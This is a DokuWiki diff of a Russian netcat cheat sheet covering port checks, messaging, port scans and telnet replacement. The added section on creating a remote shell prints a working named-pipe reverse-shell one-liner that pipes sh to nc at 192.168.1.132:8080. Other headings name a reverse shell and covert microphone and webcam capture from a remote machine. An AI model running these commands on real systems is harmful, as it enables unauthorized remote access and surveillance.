Различия

Показаны различия между двумя версиями страницы.

Ссылка на это сравнение

Предыдущая версия справа и слева Предыдущая версия
Следующая версия
Предыдущая версия
networks:nc [2024/04/10 21:53] mirocownetworks:nc [2024/04/11 19:23] (текущий) mirocow
Строка 1: Строка 1:
-{{tag>networks networking network utils shell}}+{{tag>networks networking network utils shell ports scanner}}
  
 {{tag>network tools client}} {{tag>network tools client}}
Строка 5: Строка 5:
 ====== Netcat ====== ====== Netcat ======
  
-Netcat - это сетевой инструмент.+Netcat - это сетевой инструмент, её основная задача – проверка портов.
  
 <code bash> <code bash>
Строка 39: Строка 39:
  
 <code bash> <code bash>
-nc -nlv 8080 > /tmp/log.txt & +nc -nlv 8080 > /tmp/log.txt & 
-echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080 +echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080 
-cat /tmp/log.txt+cat /tmp/log.txt
 </code> </code>
  
-===== Сканировать порты =====+===== Получать сообщения =====
  
 <code bash> <code bash>
-$ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color +$ nc -lp 8080 > /tmp/log.txt 
-$ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color+$ nc 0.0.0.0 8080 
 +$ cat /tmp/log.txt
 </code> </code>
  
Строка 70: Строка 71:
  
 ===== Использовать вместо telnet ===== ===== Использовать вместо telnet =====
 +
 (первая - telnet-сервер, вторая - клиент): (первая - telnet-сервер, вторая - клиент):
  
Строка 80: Строка 82:
  
 <code bash> <code bash>
-  $ nc -z execbit.ru 1-1024+$ nc -z execbit.ru 1-1024 
 +$ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color 
 +$ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color 
 +</code> 
 + 
 +===== Создавать удалённую оболочку ===== 
 + 
 +Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1).  
 +После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/tmp/f): 
 + 
 +<code bash> 
 +$ nc -lvnp 8080 
 +$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.132 8080 >/tmp/f
 </code> </code>
  
Строка 90: Строка 104:
  
 ===== Организовывать обратный шелл ===== ===== Организовывать обратный шелл =====
 +
 (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту): (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):
  
Строка 98: Строка 113:
  
 ===== Делать микрофонную запись с удаленной машины ===== ===== Делать микрофонную запись с удаленной машины =====
 +
 (сервер, клиент): (сервер, клиент):
  
Строка 106: Строка 122:
  
 ===== Получать снимки с web-камеры удаленной машины ===== ===== Получать снимки с web-камеры удаленной машины =====
 +
 (сервер, клиент): (сервер, клиент):
  
Строка 157: Строка 174:
   }   }
 </code> </code>
 +
 +===== Сетевые утилиты =====
 +
 +
 +{{topic>[network]}}